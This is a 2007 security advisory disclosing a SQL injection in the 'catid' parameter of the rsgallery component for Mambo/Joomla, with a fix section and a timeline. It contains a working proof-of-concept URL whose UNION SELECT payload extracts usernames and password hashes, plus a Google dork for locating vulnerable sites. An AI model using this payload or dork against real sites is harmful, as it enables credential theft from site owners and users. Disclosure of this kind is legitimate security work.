adv86-K-159-2007.txt

`ECHO_ADV_86$2007  
  
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[ECHO_ADV_86$2007] Mambo/Joomla Component rsgallery <= 2.0 beta 5 (catid) Remote SQL Injection Vulnerability  
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Author : M.Hasran Addahroni  
Date : November, 30 th 2007  
Location : Australia, Sydney  
Web : http://advisories.echo.or.id/adv/adv86-K-159-2007.txt  
Critical Lvl : Medium  
Impact : System access  
Where : From Remote  
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Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : rsgallery   
version : <= 2.0 beta 5  
Vendor : http://www.rsdev.nl/  
Description :  
  
RSGallery is one of the most complete Gallery solutions for Joomla at this point  
  
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Vulnerability:  
~~~~~~~~~~~~~  
  
Input passed to the "catid" parameter is not properly verified before being used to sql query.   
This can be exploited thru the browser and get the hash md5 password from users.  
Successful exploitation requires that "magic_quotes" is off.  
  
  
Poc/Exploit:  
~~~~~~~~~  
  
http://target.com/index.php?option=com_rsgallery&page=inline&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users--  
  
Dork:  
~~~~  
Google : "option=com_rsgallery" or inurl:Óindex.php?option=com_rsgalleryÓ   
  
  
  
Solution:  
~~~~~~  
  
- Edit the source code to ensure that input is properly verified.  
- Turn on magic_quotes in php.ini  
- use the latest version  
  
Timeline:  
~~~~~~~~  
  
- 30 -11 - 2007 bug found  
- 3 -12 - 2007 publish advisory  
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Shoutz:  
~~~~  
~ ping - my dearest wife, 'zizou' zautha - my lovely son, for all the luv, the tears n the breath  
~ y3dips,the_day,m0by,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke  
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw  
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry,ketut,x16,k1tk4t,cyb3rh3b,opt1lc  
~ [email protected]  
~ everyone [at] mac.web.id forum  
~ #aikmel #e-c-h-o @irc.dal.net  
  
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Contact:  
~~~~~  
  
K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://k-159.echo.or.id/  
  
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